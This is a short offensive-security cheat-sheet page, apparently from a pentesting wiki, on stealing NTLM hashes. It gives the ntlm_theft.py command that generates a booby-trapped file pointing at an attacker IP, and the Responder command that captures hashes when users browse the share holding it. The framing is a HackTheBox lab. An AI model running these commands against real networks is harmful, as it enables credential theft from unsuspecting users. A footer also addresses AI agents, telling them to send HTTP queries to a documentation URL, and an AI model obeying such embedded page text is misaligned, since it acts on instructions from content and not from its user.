# NTLM Hash Theft

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

You can drop a file somewhere in the filesystem (for example a network share). If the user browses to the directory where that file is, then the file will automatically create a network request to your computer (which is running Responder and will capture the NTLM hash).

Generating the file:

```
python3 ntlm_theft.py --generate url --server 10.10.14.42 --filename somefilename
```

Run responder like this (choose the correct interface. In this case it's tun0 for hackthebox):

```
sudo responder -I tun0 --analyze
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://heinosass.gitbook.io/leet-sheet/post-exploitation/untitled/ntlm-hash-theft.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
